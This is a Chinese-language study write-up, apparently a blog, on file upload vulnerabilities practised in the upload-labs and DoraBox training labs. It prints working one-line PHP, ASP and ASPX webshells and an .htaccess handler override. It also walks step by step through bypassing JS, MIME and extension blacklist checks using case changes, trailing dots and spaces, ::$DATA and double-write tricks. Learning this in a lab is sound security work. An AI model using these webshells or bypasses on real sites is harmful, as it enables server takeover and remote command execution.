前言
学习进行时,最近我学习了文件上传漏洞,感觉收获很大,所以总结一下。
为什么存在文件上传漏洞
上传文件时,Web应用程序没有对上传文件的格式进行严格过滤 , 就容易造成可以上传任意文件的情况。还有一部分是攻击者通过 Web服务器的解析漏洞来突破Web应用程序的防护。
危害
上传漏洞与SQL注入或 XSS相比 , 其风险更大 , 如果 Web应用程序存在上传漏洞,攻击者可以利用上传的恶意脚本文件控制整个网站,甚至控制服务器,这个恶意脚本文件,又被称为WebShell,也可以将WebShell脚本称为一种网页后门。WebShell具有非常强大的功能,比如查看服务器目录、服务器中的文件,执行系统命令等。
文件上传漏洞环境
upload-labs:https://github.com/c0ny1/upload-labs
皮卡丘:https://github.com/zhuifengshaonianhanlu/pikachu
DoraBox:https://github.com/gh0stkey/DoraBox
正文
为了方便,我直接把漏洞环境部署到ubantu虚拟机了。
一、任意文件上传
DoraBox漏洞环境
没有进行任何过滤,可以上传任意文件
所以直接上传webshell(当然webshell有asp、aspx、php类型。我使用的是php)
asp
<%eval request(“xxx”)%>
aspx
<%@ Page Languag=”xxx”%>
<%eval(Request.Item[“xxx”])%>
php
<?php @eval($_POST['a']) ?>
使用菜刀或蚁剑连一下,我用的蚁剑
可以查看服务器文件和目录了
下面的绕过类型都是通过的upload-labs漏洞环境来实现
二、JS限制文件上传
Pass-01
直接上传webshell,发现上传失败,只能上传后缀为.jpg|.png|.gif
的文件。
查看源码
function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == "") {
alert("请选择要上传的文件!");
return false;
}
//定义允许上传的文件类型
var allow_ext = ".jpg|.png|.gif";
//提取上传文件的类型
var ext_name = file.substring(file.lastIndexOf("."));
//判断上传文件类型是否允许上传
if (allow_ext.indexOf(ext_name + "|") == -1) {
var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
alert(errMsg);
return false;
}
}
在客户端使用JS对不合法图片进行检查。所以绕过客户端JS检测,上传webshell
客户端JS检测
JS检测绕过上传漏洞,如果上传后缀不被允许,则会弹窗告知。
上传文件的数据包没有发到服务端,只在客户端使用JavaScript对数据包进行检测。
绕过客户端JS检测的三种方法
- 使用浏览器插件。删除检测文件后缀的JS代码,然后上传webshell
- 首先把webshell的后缀改成允许上传的
.jpg|.png|.gif
,绕过JS检测。再抓包,把后缀名改成.php
,即可上传webshell - 在前端js判断函数中加上可以上传php文件
尝试第二种,先把webshell的后缀.php
改为.jpg
然后上传,抓包修改后缀为.php
Forward发包,上传成功
测试连接,连接成功
注意:测试完后删除webshell.php,因为后边我使用的都是同一个webshell(不是同一个,就不用删除)
二、MIME限制文件上传
Pass-02
直接上传webshell,发现上传失败,文件类型不正确。
查看源码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '文件类型不正确,请重新上传!';
}
} else {
$msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
}
}
在服务端对数据包的MIME进行检查。所以绕过文件类型,上传webshell
MIME
MIME(Multipurpose Internet Mail Extensions)多用途互联网邮件扩展类型。是设定某种扩展名的文件用一种应用程序来打开的方式类型,当该扩展名文件被访问的时候,浏览器会自动使用指定应用程序来打开。多用于指定一些客户端自定义的文件名,以及一些媒体文件打开方式。
绕过服务端对数据包的MIME进行检查
在客户端上传文件,通过BurpSuite抓包。
- 上传php文件时,Content-Type的值是
application/octet-stream
; - 上传jpg文件时,Content-Type的值是
image/jpeg
- 如果服务器通过Content-Type的值判断文件类型,上传php文件(webshell)时,将Content-Type的值修改为
image/jpeg
,即可上传php文件(webshell)。
所以上传webshell.php,抓包修改Content-Type的值为image/jpeg
Forward发包,上传成功
测试连接,连接成功
三、黑名单限制文件上传
Apache解析
- 有些Apache允许解析其他文件后缀。如在http.conf中,若配置有如下代码,则能解析php和phtml文件
AddType application/x-httpd-php .php .phtml
- Apache的解析顺序是从右到左开始解析文件后缀的,如果最右侧扩展名不可识别,就继续往左判断。直到遇到可以解析的文件后缀为止
htaccess
htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
绕过文件后缀的方法
- 上传一个后缀为phtml的webshell
- 上传文件名类似1.php.xxxx,因为后缀xxxx不可以解析,所以向左解析后缀
.php
- 构造.htaccess,实现重写文件解析。
- 大小写绕过
- 双写绕过
- 在后缀名中加空绕过
- 在后缀名中加”.”绕过
- 等等
Pass-03(上传webshell.phtml绕过)
直接上传webshell,发现上传失败。
查看源码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array('.asp','.aspx','.php','.jsp');
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
if(!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
黑名单判断,不允许上传.asp|.aspx|.php|.jsp
后缀文件。
尝试第一种方法,上传webshell.phtml
上传成功,测试连接,连接失败。。
参考大佬博客,发现没有配置添加如下代码:
AddType application/x-httpd-php .php .phtml
配置方法参照:
ubuntu下apache与php配置
好了,我已经配置完毕,删除之前的文件,再上传一次。测试连接,连接失败。。emmmmm。。。。
查看上传的文件
发现文件名被替换了。所以连接时文件名换一下,连接成功
Pass-04(重写文件解析绕过)
查看源码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
黑名单判断,不允许上传后缀文件为
.php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html|.Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|.swf
这样Pass-03的方法就没办法使用了。所以尝试使用方法3,构造.htaccess,实现重写文件解析。
同样这样的前提也是得在配置文件里面有这样的一句话
AllowOverride All
LoadModule rewrite_module modules/mod_rewrite.so
因为我的配置文件没有,所以配置一下。
参考博客:
apache开启rewrite重写
.htaccess攻击
配置完毕。把SetHandler application/x-httpd-php
这句话写成.htaccess
,然后上传个jpg,它就当php解析了。
.htaccess
文件内容为:
<FilesMatch "webshell">
SetHandler application/x-httpd-php
</FilesMatch>
先上传.htaccess
文件,然后上传webshell.jpg
上传成功,测试连接,连接成功
Pass-05(大小写绕过)
查看源码发现,与Pass-04相比,多了不允许上传后缀文件.htaccess
,但是没有将后缀进行大小写统一,于是可以通过大小写绕过。
上传webshell.phP
,上传成功。测试连接,连接失败。查看文件,发现文件名被替换
重新输入文件名,测试连接,连接成功
Pass-06(加空格绕过)
查看源码发现还是黑名单,但是没有对后缀名进行去空处理,可在后缀名中加空绕过。
上传webshell.php
,抓包,加空格
上传成功。查看上传的文件名
测试连接,连接成功
Pass-07(加.
绕过)
还是黑名单,禁止上传所有可以解析的后缀。
但是没有对后缀名进行去”.
”处理,利用windows特性,会自动去掉后缀名中最后的”.
”,可在后缀名中加”.”绕过。
上传webshell.php
,抓包,加.
上传成功。测试连接,连接成功
Pass-08(加::$DATA
绕过)
还是黑名单,但是没有对后缀名进行去”::$DATA
”处理,利用windows特性,可在后缀名中加” ::$DATA
”绕过。
上传webshell.php
,抓包,加::$DATA
上传成功。测试连接,连接失败。因为我用的ubantu,所以用Windows执行上述操作就ok了,就不叙述了。
Pass-09(点+空格+点绕过)
查看源码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
还是黑名单,但是第15行和之前不太一样,路径拼接的是处理后的文件名。
str_replace先删除一个点,再删除一个空格。
点+空格+点,经过处理后,文件名变成webshell.php.
,即可绕过。
上传成功。测试连接,连接成功
Pass-10(双写绕过)
查看源码发现关键代码
$file_name = trim($_FILES['upload_file']['name']);//定义name
$file_name = str_ireplace($deny_ext,"", $file_name);//替换上面的php这些为空
将问题后缀名替换为空,于是可以利用双写绕过。
上传webshell.php
,抓包,双写
上传成功。测试连接,连接成功
好了,就先总结这么多,剩下的另一篇《文件上传漏洞 学习笔记(二)》进行总结。
感悟
文件上传漏洞总结之后,对文件上传漏洞理解了很多,也收获了很多。
继续努力学习。小白进阶ing